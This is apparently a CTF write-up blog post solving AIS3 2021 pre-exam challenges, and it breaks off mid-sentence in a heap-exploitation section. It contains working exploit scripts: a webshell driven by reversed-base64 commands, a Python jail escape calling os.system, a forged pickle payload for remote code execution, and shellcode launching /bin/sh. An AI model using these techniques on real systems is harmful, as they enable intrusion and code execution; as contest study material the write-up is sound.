AIS3 2021 pre-exam WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

I participated in AIS3 2021 pre-exam this time and got the first place, so I wrote some writeups to record the solutions. Last year at this time, I didn't even know what CTF was. The first time I encountered AIS3 was during EOF, and the pre-exam was my first experience.

Reverse

Piano

It can be seen that it is a .NET program. After downloading dotPeek and opening the dll, you can see that it asks you to play "Twinkle Twinkle Little Star" to get the flag, or you can extract the necessary data and calculate the flag yourself.

Flag: AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}

🐰 Peekora 🥒

This challenge is a flag checker written with pickle. Using Python's pickletools.dis, you can see the parsed pickle file, which contains some conditions. By recording these conditions with z3, you can get the flag.

from z3 import *

flag = [BitVec(f"f_{i}", 8) for i in range(16)]

s = Solver()
s.add(flag[0] == ord("A"))
s.add(flag[1] == ord("I"))
s.add(flag[2] == ord("S"))
s.add(flag[3] == ord("3"))
s.add(flag[4] == ord("{"))
s.add(flag[-1] == ord("}"))
s.add(flag[6] == ord("A"))
s.add(flag[9] == ord("j"))
memo3 = flag[9]
s.add(flag[11] == ord("p"))
s.add(flag[14] == memo3)
memo4 = flag[1]
s.add(flag[5] == ord("d"))
s.add(flag[10] == ord("z"))
s.add(flag[12] == ord("h"))
s.add(flag[13] == memo4)
s.add(flag[8] == ord("w"))
s.add(flag[7] == ord("m"))

assert s.check() == sat

m = s.model()
flag = bytes([m[x].as_long() for x in flag])
print(flag.decode())

Flag: AIS3{dAmwjzphIj}

COLORS

This challenge has an obfuscated js file. After manually deobfuscating it, it looks like this:

const _0x3eb4 = [
	'repeat',
	'1YqKovX',
	'NDBCMjBnMzBpNTFKNjA2MDFcMzB3NDAxMzBBNDFqNDBcNDExMzBnNzB1MzBpMTBrMzBsNDA3NjB4NTBpNTBYMTBLMTBJNDBoNTBYMDBLNDFpNTFsNzA2NzBmNDBvMTA2NTA1NzBLMTFuNTE4NzA3NDFCNTAtMTE4NDB3MzFhMTByNDF6NzBLMzA9MjA9MTA9',
	'substr',
	'output',
	'getElementsByTagName',
	'65022JgPEZp',
	'keydown',
	'length',
	'innerHTML',
	'677PRUQAU',
	'ArrowLeft',
	'QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ==',
	'133781JKLWBV',
	'ArrowUp',
	'90407czXCgh',
	'PGRpdiBzdHlsZT0id2lkdGg6IDM1MHB4OyBwb3NpdGlvbjogYWJzb2x1dGU7IGJvdHRvbTogMHB4OyBsZWZ0OiAwcHg7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGFuaW1hdGlvbjogcmFpbmJvdyAycyBsaW5lYXIgMHMgaW5maW5pdGUgbm9ybWFsOyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogLTEwcHg7IGxlZnQ6IDUwJTsgZm9udC1zaXplOiAyMHB4OyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoLTUwJSk7IHdpZHRoOiAzNTBweDsiPkhlcmUgaXMgeW91cjxicj4iZW5jb2RlZCIgZmxhZyw8YnI+aW5wdXQgdG8gZW5jb2RlIHNvbWV0aGluZyBlbHNlITwvZGl2PiA8c3ZnIGlkPSLwn5CIIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDEyOCAxMjgiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIzIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxwYXRoIGlkPSJib2R5Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJmaWxsIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgI2ZmOGQ4YjsgI2ZlZDY4OTsgIzg4ZmY4OTsgIzg3ZmZmZjsgIzhiYjVmZTsgI2Q3OGNmZjsgI2ZmOGNmZjsgI2ZmNjhmNzsgI2ZlNmNiNzsgI2ZmNjk2ODsgI2ZmOGQ4YiAiPjwvYW5pbWF0ZT48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJkIiBkdXI9IjUwMG1zIiByZXBlYXRDb3VudD0iaW5kZWZpbml0ZSIga2V5VGltZXM9IjA7MC4xOzAuMjswLjM7MC40OzAuNTswLjY7MC43OzAuODswLjk7MSIgdmFsdWVzPSIgTTY3LjEsMTA5LjVjLTkuNiwwLTIzLjYtOC44LTIzLjYtMjRjMC0xMi4xLDE3LjgtNDEsMzcuNS00MWMxNS42LDAsMjMuMywxMC42LDI1LjEsMjAuNSBjMS45LDEwLjcsMy45LDguMiwzLjksMTkuNWMwLDguMi0zLjgsMTctMy44LDIyLjNjMCwzLjksMS40LDcuNCwyLjksMTAuNWMxLjcsMy41LDIuNCw2LjYsMi40LDkuMkg5LjVjMC0xMy43LDEwLjgtMTQsMjEuMS0yMyBjNS42LTQuOSwxMS0xMi40LDE0LjUtMjY7IE01Ni4xLDEwNy41Yy05LjYsMC0yNC42LTEzLjgtMjQuNi0yOWMwLTE2LjIsMTMtNDIsMzMuNS00MmMxNy44LDAsMjIuMywxMS42LDI2LjEsMjIuNSBjMy42LDEwLjMsOS45LDkuMiw5LjksMjAuNWMwLDguMi0xLjgsNy0xLjgsMTIuM2MwLDQuNSwzLjQsOC4yLDYuNCwxNC4xYzIuNSw0LjgsNC44LDExLjIsNC44LDIwLjZoLTk5YzAtMTIuMSw3LjItMTcuNiwxNC43LTI0LjMgYzMuMi0yLjksNi41LTUuOSw5LjItOS44OyBNNDUuMSwxMDkuNWMtNS41LTAuMi0yNy42LTguNC0yNy42LTI3YzAtMTcuOSwxNC44LTQyLDMyLjUtNDJjMTUuNCwwLDI0LDEwLjQsMjYuMSwyMS41IGMxLjMsNi43LDkuOSw5LjgsOS45LDIxLjVjMCw4LjItMC44LDYtMC44LDExLjNjMCw3LjcsMTIuOCw5LDIwLjgsMTVjNy43LDUuOCwxNS41LDE2LjcsMTUuNSwxNi43aC0xMTBjMC00LjgsMS43LTExLjMsNS0xNiBjMy4yLTQuNSw0LjUtOC4zLDUtMTU7IE0zNiwxMjBjLTUuNS0wLjItMjguNS0xMS45LTI4LjUtMzAuNWMwLTE2LjIsMTIuNS00MiwzMy00MmMxNy44LDAsMjEuOCw5LjYsMjUuNiwyMC41IEM2OS43LDc4LjMsNzYsNzguMiw3Niw4OS41YzAsOC4yLTAuOCw0LTAuOCw5LjNjMCw1LjksMTYuNSw3LjgsMjguNCwxNS45YzgsNS41LDE3LjksMTEuOCwxNy45LDExLjhoLTExMGMwLTIuMS0xLjItNS4yLTEuOS0xNC41IGMtMC4zLTMuNi0wLjUtOC4xLTAuNS0xMy45OyBNMzcsMTE5LjVjLTE1LDAuMS0zMy41LTEyLjctMzMuNS0zMEMzLjUsNzMuMywxNiw0NywzNi41LDQ3YzE3LjgsMCwyMi44LDExLDI2LDIyIEM2NS42LDc5LjQsNzMsNzkuMiw3Myw5MC41YzAsNC0xLjgsNi42LTEuOCw4LjNjMCw1LjksMTQuMiw2LjQsMjYuNCwxNS45YzcuNyw2LDEzLjksMTEuOCwxMy45LDExLjhINy41Yy0xLjItMy40LTEuOC03LjMtMS45LTExLjIgYy0wLjItNS4xLDAuMy0xMC4xLDAuOS0xMy43OyBNNDAuNSwxMjEuNWMtMTIuNiwwLTMwLTEzLjQtMzAtMjlDMTAuNSw3Ni4zLDIzLDUzLDQzLjUsNTNjMTQuNSwwLDIyLjgsOS42LDI1LDIyIGMxLjIsNi45LDEwLDkuMiwxMCwyMC41YzAsNCwwLDUuNiwwLDcuM2MwLDQuOSw2LjEsNy41LDExLjIsMTEuOWM1LjgsNSw3LjIsMTEuOCw3LjIsMTEuOEg4LjVjMC0xLjUtMC42LTYuMSwwLjQtMTEuOCBjMC42LTMuNSwxLjktNy41LDQuMy0xMS42OyBNNDguNSwxMjEuNWMtMTIuNiwwLTI1LTYuMy0yNS0xOGMwLTE2LjIsMTMuNy00NywzNi00N2MxNS42LDAsMjQuOCw5LjEsMjcsMjEuNSBjMS4yLDYuOSw3LDkuMiw3LDE4LjVjMCw5LjUtNCwxMS00LDIyYzAsNC4xLDAuNSw1LDEsNmMwLjUsMS4yLDEsMiwxLDJoLTgxYzAtNS4zLDMuMS04LjMsNi4zLTExLjVjMi42LTIuNiw1LjQtNS4zLDYuNy05LjU7IE02OC41LDEyMS41Yy0xMi42LDAtMzMtNS44LTMzLTIzYzAtOS4yLDExLjgtMzYsMzctMzZjMTUuNiwwLDI1LjgsOC4xLDI4LDIwLjUgYzEuMiw2LjksNCw2LjIsNCwxNS41YzAsOS41LTUsMTUuMS01LDIxYzAsMS45LDEsMi4zLDEsNWMwLDEuMiwwLDIsMCwyaC05MWMwLjUtNy42LDcuMS0xMS4xLDEzLjctMTUuN2M0LjktMy40LDkuOS03LjUsMTIuMy0xNC4zOyBNNzMuNSwxMTcuNWMtMTIuNiwwLTMwLTYuMi0zMC0yNWMwLTE0LjIsMjAuOS0zNywzOC0zN2MxNy42LDAsMjUuOCwxMS4xLDI4LDIzLjUgYzEuMiw2LjksMyw3LjIsMywxNi41YzAsMTIuMS02LDE2LjEtNiwyMmMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMUg3LjVjMi4xLTkuNCwxMC40LTEzLjMsMTkuMi0xOS40IGM3LjEtNSwxNC40LTExLjUsMTguOC0yMy42OyBNODAuNSwxMTUuNWMtMTIuNiwwLTMyLTkuMi0zMi0yOGMwLTE0LjIsMjIuOS0zNSw0MC0zNWMxNy42LDAsMjUuOCwxMi4xLDI4LDI0LjUgYzEuMiw2LjksMyw2LjIsMywxNS41YzAsMTIuMS02LDE5LjEtNiwyNWMwLDQuMiwyLDUuMywyLDhjMCwxLjIsMCwxLDAsMWgtMTAyYzIuMy04LjcsMTEuNi0xMS43LDIwLjgtMjAuMSBjNS4zLTQuOCwxMC41LTExLjQsMTQuMi0yMS45OyBNNjcuMSwxMDkuNWMtOS42LDAtMjMuNi04LjgtMjMuNi0yNGMwLTEyLjEsMTcuOC00MSwzNy41LTQxYzE1LjYsMCwyMy4zLDEwLjYsMjUuMSwyMC41IGMxLjksMTAuNywzLjksOC4yLDMuOSwxOS41YzAsOC4yLTMuOCwxNy0zLjgsMjIuM2MwLDMuOSwxLjQsNy40LDIuOSwxMC41YzEuNywzLjUsMi40LDYuNiwyLjQsOS4ySDkuNWMwLTEzLjcsMTAuOC0xNCwyMS4xLTIzIGM1LjYtNC45LDExLTEyLjQsMTQuNS0yNiAiPjwvYW5pbWF0ZT48L3BhdGg+PHBhdGggaWQ9ImJlYWsiIGZpbGw9IiM3YjhjNjgiPjxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9ImQiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IiBNNzguMjksNzBjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzc4LjI5LDg1LjUsNzguMjksNzBaOyBNNjIuMjksNjRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzYyLjI5LDc5LjUsNjIuMjksNjRaOyBNNDguMjksNjdjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQ4LjI5LDgyLjUsNDguMjksNjdaOyBNMzYuMjksNzNjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM2LjI5LDg4LjUsMzYuMjksNzNaOyBNMzUuMjksNzVjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzM1LjI5LDkwLjUsMzUuMjksNzVaOyBNNDEuMjksODFjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzQxLjI5LDk2LjUsNDEuMjksODFaOyBNNTkuMjksODRjMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzU5LjI5LDk5LjUsNTkuMjksODRaOyBNNzIuMjksODljMC05LjkyLDIuNS0xNCw4LTE0czgsMi4xNyw4LDEwLjY3YzAsMTUuOTItNywyNi4zMy03LDI2LjMzUzcyLjI5LDEwNC41LDcyLjI5LDg5WjsgTTgwLjI5LDgyYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4MC4yOSw5Ny41LDgwLjI5LDgyWjsgTTg3LjI5LDc4YzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M4Ny4yOSw5My41LDg3LjI5LDc4WjsgTTc4LjI5LDcwYzAtOS45MiwyLjUtMTQsOC0xNHM4LDIuMTcsOCwxMC42N2MwLDE1LjkyLTcsMjYuMzMtNywyNi4zM1M3OC4yOSw4NS41LDc4LjI5LDcwWiAiPjwvYW5pbWF0ZT48L3BhdGg+PGVsbGlwc2UgaWQ9ImV5ZS1yaWdodCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iMTAwOzg0OzcwOzU4OzU3OzYzOzgxOzk0OzEwMjsxMDk7MTAwIj48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjxlbGxpcHNlIGlkPSJleWUtbGVmdCIgcng9IjMiIHJ5PSI0Ij48YW5pbWF0ZSBhdHRyaWJ1dGVOYW1lPSJjeCIgZHVyPSI1MDBtcyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIGtleVRpbWVzPSIwOzAuMTswLjI7MC4zOzAuNDswLjU7MC42OzAuNzswLjg7MC45OzEiIHZhbHVlcz0iNjcuNTs1MS41OzM3LjU7MjUuNTsyNC41OzMwLjU7NDguNTs2MS41OzY5LjU7NzYuNTs2Ny41Ij48L2FuaW1hdGU+PGFuaW1hdGUgYXR0cmlidXRlTmFtZT0iY3kiIGR1cj0iNTAwbXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiBrZXlUaW1lcz0iMDswLjE7MC4yOzAuMzswLjQ7MC41OzAuNjswLjc7MC44OzAuOTsxIiB2YWx1ZXM9IjYyOzU2OzU5OzY1OzY3OzczOzc2OzgxOzc0OzcwOzYyIj48L2FuaW1hdGU+PC9lbGxpcHNlPjwvc3ZnPjwvZGl2Pg==',
	'131837PcDnWL',
	'19pQimXL',
	'623605MIswVM',
	'charCodeAt',
	'join',
	'4WsUYDr',
	'686oWrfyq',
	'body',
	'map',
	'getElementById',
	'textContent',
	'match',
	'key',
	'302349wKdZHP',
	'4OYJFlQ',
	'input',
	'padStart',
	'Backspace'
]
function _0x4ebd(_0x532d69, _0x212ed3) {
	_0x532d69 = _0x532d69 - 0x1c6
	let _0x3eb4a7 = _0x3eb4[_0x532d69]
	return _0x3eb4a7
}
;(function (_0x496f79, _0x226742) {
	const _0x463eac = _0x4ebd
	while (!![]) {
		try {
			const _0x12c745 =
				-parseInt(_0x463eac(0x1e6)) +
				parseInt(_0x463eac(0x1ce)) * -parseInt(_0x463eac(0x1de)) +
				-parseInt(_0x463eac(0x1db)) +
				-parseInt(_0x463eac(0x1e7)) * parseInt(_0x463eac(0x1d7)) +
				-parseInt(_0x463eac(0x1d5)) * parseInt(_0x463eac(0x1c9)) +
				parseInt(_0x463eac(0x1df)) * -parseInt(_0x463eac(0x1d2)) +
				parseInt(_0x463eac(0x1d9)) * parseInt(_0x463eac(0x1da))
			if (_0x12c745 === _0x226742) break
			else _0x496f79['push'](_0x496f79['shift']())
		} catch (_0xe36f7) {
			_0x496f79['push'](_0x496f79['shift']())
		}
	}
})(_0x3eb4, 0x57a76),
	(() => {
		const _0x1cd51f = _0x4ebd,
			_0x54579e = _0x1cd51f(0x1d8),
			_0x78ed5a = _0x1cd51f(0x1ca),
			CONSTSTR = 'QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ==',
			eight = 0x8,
			ten = 0xa
		let input,
			counter = 0x0
		function encode(str) {
			if (!str['length']) return ''
			let bits = '',
				ret = '',
				padLen = 0x0
			for (let i = 0x0; i < str['length']; i++)
				bits += str['charCodeAt'](i)['toString'](0x2)['padStart'](0x8, '0')
			padLen = (bits['length'] % ten) / 0x2 - 0x1
			if (padLen != -0x1) bits += '0'['repeat'](ten - (bits['length'] % ten))
			bits = bits['match'](/(.{1,10})/g)
			for (let b of bits) {
				let bi = parseInt(b, 0x2)
				ret += htmlWrap((bi >> 0x6) & 0x7, bi >> 0x9, atob(CONSTSTR)[bi & 0x3f])
			}
			for (; padLen > 0x0; padLen--) {
				ret += htmlWrap(padLen % eight, 0x0, '=')
			}
			return ret
		}
		let htmlWrap = (color, rotation, val) =>
				'<span><div\x20class=\x22c' + color + '\x20r' + rotation + '\x22>' + val + '</div></span>',
			_0x1fdafa = x => (document['getElementById']('output')['innerHTML'] = encode(x))
		document['addEventListener']('keydown', event => {
			const _0x12b963 = _0x1cd51f
			if (event['key'] === _0x12b963(0x1c7) && counter == 0xa)
				input['textContent'] = input['textContent']['substr'](0x0, input['textContent']['length'] - 0x1)
			else {
				if (event['key'] === 'ArrowUp' && !(counter >> 0x1)) return (counter += 0x1)
				else {
					if (event['key'] === 'ArrowDown' && !(counter >> 0x2)) return (counter += 0x1)
					else {
						if (event['key'] === 'ArrowLeft' && (counter == 0x4 || counter == 0x6)) return (counter += 0x1)
						else {
							if (event['key'] === 'ArrowRight' && (counter == 0x5 || counter == 0x7))
								return (counter += 0x1)
							else {
								if (event['key'] === 'b' && counter == 0x8) return (counter += 0x1)
								else {
									if (event['key'] === 'a' && counter == 0x9)
										return (
											(document['getElementsByTagName']('body')[0x0]['innerHTML'] +=
												atob(_0x54579e)),
											(input = document['getElementById']('input')),
											(input['innerHTML'] = ''),
											(document['getElementById']('output')['innerHTML'] = atob(_0x78ed5a)
												['match'](/(.{1,3})/g)
												['map'](_0x5efa9e =>
													htmlWrap(_0x5efa9e[0x0], _0x5efa9e[0x1], _0x5efa9e[0x2])
												)
												['join']('')),
											(counter += 0x1)
										)
									else {
										if (event['key']['length'] == 0x1 && counter == 0xa)
											input['textContent'] += String['fromCharCode'](event['key']['charCodeAt']())
										else return
									}
								}
							}
						}
					}
				}
			}
			_0x1fdafa(input['textContent'])
		})
	})()

It can be seen that it displays the encoded flag after you input the Konami Code (up, up, down, down, left, right, left, right, B, A). You can also input some text to encode. By reading the encode function, you can see that it converts each character into 8 bits, concatenates them, pads to align with 10, groups them into 10, and then encodes the last 6 bits into characters. The first 1 and 3 bits are encoded into direction and color, respectively. Writing a reverse conversion code will give you the flag.

const original =
	'40B20g30i51J60601\\30w40130A41j40\\41130g70u30i10k30l40760x50i50X10K10I40h50X00K41i51l70670f40o10650570K11n51870741B50-11840w31a10r41z70K30=20=10='
const encoded = original
	.match(/.{1,3}/g)
	.map(x => x[2])
	.join('') // 'BgiJ6\\w1Aj\\1guikl7xiXKIhXKil6fo65Kn87B-8warzK==='
const atob = s => Buffer.from(s, 'base64').toString()
const CONSTSTR = atob('QWxTM3tCYXNFNjRfaTUrYjByTkluZ35cUXdvLy14SDhXekNqN3ZGRDJleVZrdHFPTDFHaEtZdWZtWmRKcFg5fQ=='),
	eight = 0x8,
	ten = 0xa

function encode(str) {
	if (!str['length']) return ''
	let bits = '',
		ret = '',
		padLen = 0x0
	for (let i = 0x0; i < str['length']; i++) bits += str['charCodeAt'](i)['toString'](0x2)['padStart'](0x8, '0')
	padLen = (bits['length'] % ten) / 0x2 - 0x1
	if (padLen != -0x1) bits += '0'['repeat'](ten - (bits['length'] % ten))
	bits = bits['match'](/(.{1,10})/g)
	for (let b of bits) {
		let bi = parseInt(b, 0x2)
		ret += CONSTSTR[bi & 0x3f]
	}
	for (; padLen > 0x0; padLen--) {
		ret += '='
	}
	return ret
}

const toks = original.match(/.{1,3}/g)
const bits = []
for (let i = 0; i < encoded.length; i++) {
	const ix = CONSTSTR.indexOf(encoded.charAt(i))
	if (ix < 0) continue
	b3 = parseInt(toks[i][0])
	bits.push(toks[i][1] + b3.toString(2).padStart(3, '0') + ix.toString(2).padStart(6, '0'))
}
console.log(
	bits
		.join('')
		.match(/.{1,8}/g)
		.map(x => String.fromCharCode(parseInt(x, 2)))
		.join('')
)

Flag: AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}

Misc

Microcheese

The challenge is to play a Nim Game with a bot. It initially gives you a losing position, so there is no regular way to win.

This challenge is a buggy version of Crypto's Microchess. Initially, I solved it using the intended solution of Microchess.

By diffing the two versions, you can see that the bug is in the play function, which does not check if choice is one of 0, 1, or 2. So, inputting other numbers can directly pass a turn. Therefore, you just need to play until there are 1,1 piles left, input another number to pass, and then remove the remaining 1 to win.

Flag: AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}

Old Flag (before the author discovered the bug): AIS3{1._d4_d5_2._c4_e6_3._Nc3_c6_4._Nf3_dxc4}

Blind

It first closes stdout (1), then lets you make a syscall to read the flag and write it to pipe 1. So, you just need to use dup2 to copy stderr (2) to 1, so that when it writes, it will display on stderr, and you can get the flag. The input is 33 2 1 0.

Flag: AIS3{dupppppqqqqqub}

[震撼彈] AIS3 官網疑遭駭!

This challenge has a pcap file with many DNS and HTTP requests. The HTTP requests are all sent to magic.ais3.org, but dig cannot find it. You need to look at the HTTP target address and notice that it shares the same IP as quiz.ais3.org. However, directly browsing only shows the default nginx page. Using curl with the --resolve option to modify the Host header, you can test and find that magic.ais3.org is indeed on that IP, but you need to add the header yourself. After modifying hosts, you can also browse magic.ais3.org from the browser.

By observing the HTTP request, you can see a particularly different request. By examining the parameters, you can find that it is the base64 reversed result of a command. Testing it, you can find that the page is a shell that allows you to use it, but you need to reverse base64 encode the command.

import requests
from base64 import b64encode

cmd = "cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d"
resp = requests.get(
    "http://10.153.11.126:8100/Index.php",
    headers={"Host": "magic.ais3.org"},
    params={"page": b64encode(cmd.encode())[::-1]},
)
print(resp.text)

Flag: AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}

Cat Slayer | Online Edition

This challenge is a text-based Online Game where you can fight monsters, level up, earn money, and unlock curse characters. Curse characters can be used to solve a simple pyjail (sandbox.py). If characters not in the list appear in the payload (spell), it will not execute. The blacklisted characters are ascii digits, ascii lowercase, () and .'". The last three characters can only be unlocked after reaching level 10 and reincarnating.

First, solving the pyjail part, it does sandboxing like this:

_eval = __builtins__.eval
del __builtins__.exec
del __builtins__.eval
del __builtins__.__import__
_eval(spell, {})

It also checks if the spell is pure ascii. Since .'" cannot be used (reincarnation is troublesome), you can use getattr and input to connect. A basic payload looks like this:

getattr(getattr(__loader__,input())(input()),input())(input())

Then input load_module os system whoami respectively, which is equivalent to __loader__.load_module('os').system('whoami'). After shortening it a bit, it becomes:

(l:=input,o:=getattr,o(o(__loader__,l())(l()),l())(l()))

Using the given formula, you can calculate that the minimum level to achieve the goal is level 3. However, I solved it at level 4 because I accidentally unlocked an unnecessary character. For leveling up, you can exploit the shop's lack of quantity checks to sell some attributes to negative values, turning them into money, creating unbalanced attributes, and then defeating monsters to reach level 3 or 4. After that, sell attributes to negative values to unlock the required characters, then send the payload to get the shell and complete the challenge.

Flag: AIS3{CAO_Cat_Art_Online}

Cat Slayer | Cloud Edition

This challenge saves your player data using pickle, then pads it and encrypts it with AES ECB before giving it to you. When loading, it decrypts, removes padding, and then calls pickle.loads.

The crypto part of this challenge is that AES ECB mode produces the same result for the same block (with a fixed key), so you can align the block size when entering the name and insert your pickle payload to get the payload's ciphertext. The encrypted padding can also be obtained by aligning.

However, another difficulty is that it uses the input function when entering the name, so any \n will interrupt it, making it impossible to use GLOBAL (c__builtin__\neval\n). Reading the pickle source code, you can see that newer versions of Python have STACK_GLOBAL (\x93 then takes two from the stack top to find_class) available. However, entering \x93 in input turns into \xc2\x93 because it consumes unicode.

I used BINPUT (q) to remove the next character, so q\x93 becomes q\xc2\x93, and q\xc2 just puts the stack top into memo 0xc2, effectively having no effect. For strings, I used BINUNICODE (X) to input, then assembled the payload, aligned it, and added the corresponding padding to successfully send the payload to pickle.loads and get the shell.

The following script generates the payload, which, when input to the load part, executes exec(input()):

from pwn import remote, process

REMOTE = True


def encrypt(data: bytes):
    assert len(data) % 16 == 0
    assert not b"\n" in data
    p = (
        remote("quiz.ais3.org", 2222)
        if REMOTE
        else process(["python", "cat_slayer_cloud_edition.py"])
    )
    p.recvuntil(b"Name: ")
    p.sendline(b"a" * 9 + data + b"c" * 8)
    p.recvuntil(b"Choose: ")
    p.sendline(b"V")
    p.recvuntil(b"Saved Data: ")
    ct = bytes.fromhex(p.recvline().decode().strip())
    return ct[64 : 64 + len(data)] + ct[-16:]


# pk = b"c__builtin__\nexec\n(c__builtin__\ninput\n)RtR."
pk = b'X\x0b\x00\x00\x00__builtin__X\x04\x00\x00\x00execq\x93(X\x0b\x00\x00\x00__builtin__X\x05\x00\x00\x00inputq\x93)RtR.'
# \x93 will be \xc2\x93, so q\x93 effectively becomes \x93
print(encrypt(pk + b"a" * (16 - len(pk) % 16)).hex())

Flag: AIS3{mag1c_pick13_cut&paste}

You can also use the env command to see that the AES key is EnR3vCSX7PFyCzekBVAMMIK0jICLL1Mx, making it easier to generate the payload.

Pwn

Write Me

This challenge first clears the GOT entry of system, then lets you write once before calling system('/bin/sh'). The solution is simple: make it call the lazy binding code again. So, change the address value of 4210728 to 4198480 to restore the GOT entry of system and call it normally.

Flag: AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}

noper

This challenge lets you input a shellcode, then it will change certain bytes to nop. So, write a shellcode and ensure it doesn't overwrite important parts.

from pwn import *

context.arch = "amd64"

indexes = [6, 10, 13, 17, 39, 41, 44, 51, 63]
sc = bytearray(
    asm(
        """
xor rsi, rsi
xor rdx, rdx
# 6
nop
# 7
nop
nop
nop 
# 10
nop
# 11
nop
nop
nop
# 14
nop
nop
nop
# 17
nop
# 18
mov rax, 0x68732f6e69622f
# 28
push rax
# 29
mov rdi, rsp
xor rax, rax
mov al, 59
syscall
"""
    )
)
print(len(sc))
print(disasm(sc))
print()
for i in indexes:
    if i < len(sc):
        sc[i] = 0x90
print(disasm(sc))

p = remote('quiz.ais3.org', 5002)
p.send(sc)
p.interactive()

Flag: AIS3{nOp_noOp_NOoop!!!}

AIS3 Shell

The challenge provides a simple shell with define, list, and run commands. Each command has a command name and command. The command part is placed in system when run <command name> is input, but the define part has a whitelist restriction on the command value.

This challenge implements its own memory allocator. InitAlloc pre-allocates chunks of 256, 512, 768, etc., with 64 chunks of each size.

Carefully examining, you can see that InitAlloc and MemAlloc use mismatched buffer sizes, treating the index as the chunk size, and the size to MemAlloc goes to the index, causing an out-of-bounds write. Using gdb, you can overwrite existing chunks' commands, so overwrite ls with sh to get the shell.

from pwn import *

p = remote("quiz.ais3.org", 10103)

p.sendlineafter(b"$ ", "define")
p.sendlineafter(b"Length of command name: ", "3")
p.sendlineafter(b"Command name: ", "sh")
p.sendlineafter(b"Length of command: ", "3")
p.sendlineafter(b"Command:", "ls")

p.sendlineafter(b"$ ", "define")
p.sendlineafter(b"Length of command name: ", "16384")
p.sendlineafter(b"Command name: ", "a" * 272 + "sh")
p.sendlineafter(b"Length of command: ", "0")

p.sendlineafter(b"$ ", "run sh")

p.interactive()

Flag: AIS3{0hh_H0w_do_you_ch@ng3_my_comm4nd}

Gemini

This challenge is a heap challenge with a 0x20-sized data structure roughly represented as follows:

struct point {
    int64_t namelen;
    int64_t x;
    int64_t y;
    char *name;
};

There are four operations available:

  1. malloc(0x20), then input x, y, and namelen, followed by malloc(namelen) and input name, finally placing the point in a global array.
  2. Input index, set the point's namelen, x, y to 0, free the name, then free the point's chunk, but not clearing the global array.
  3. Input index, modify a point's x, y.
  4. Input index, output the point's name string value and x, y.

From the second operation, it's clear there is UAF, and the challenge runs on Ubuntu 20.04 with glibc 2.31, so there is tcache.

However, since tcache only looks at the next pointer (in the namelen position), you can't directly use the third operation for tcache corruption to achieve malloc at a desired address.

First, create 8 points with namelen = 256, then free 0~7 in order, resulting in the heap state:

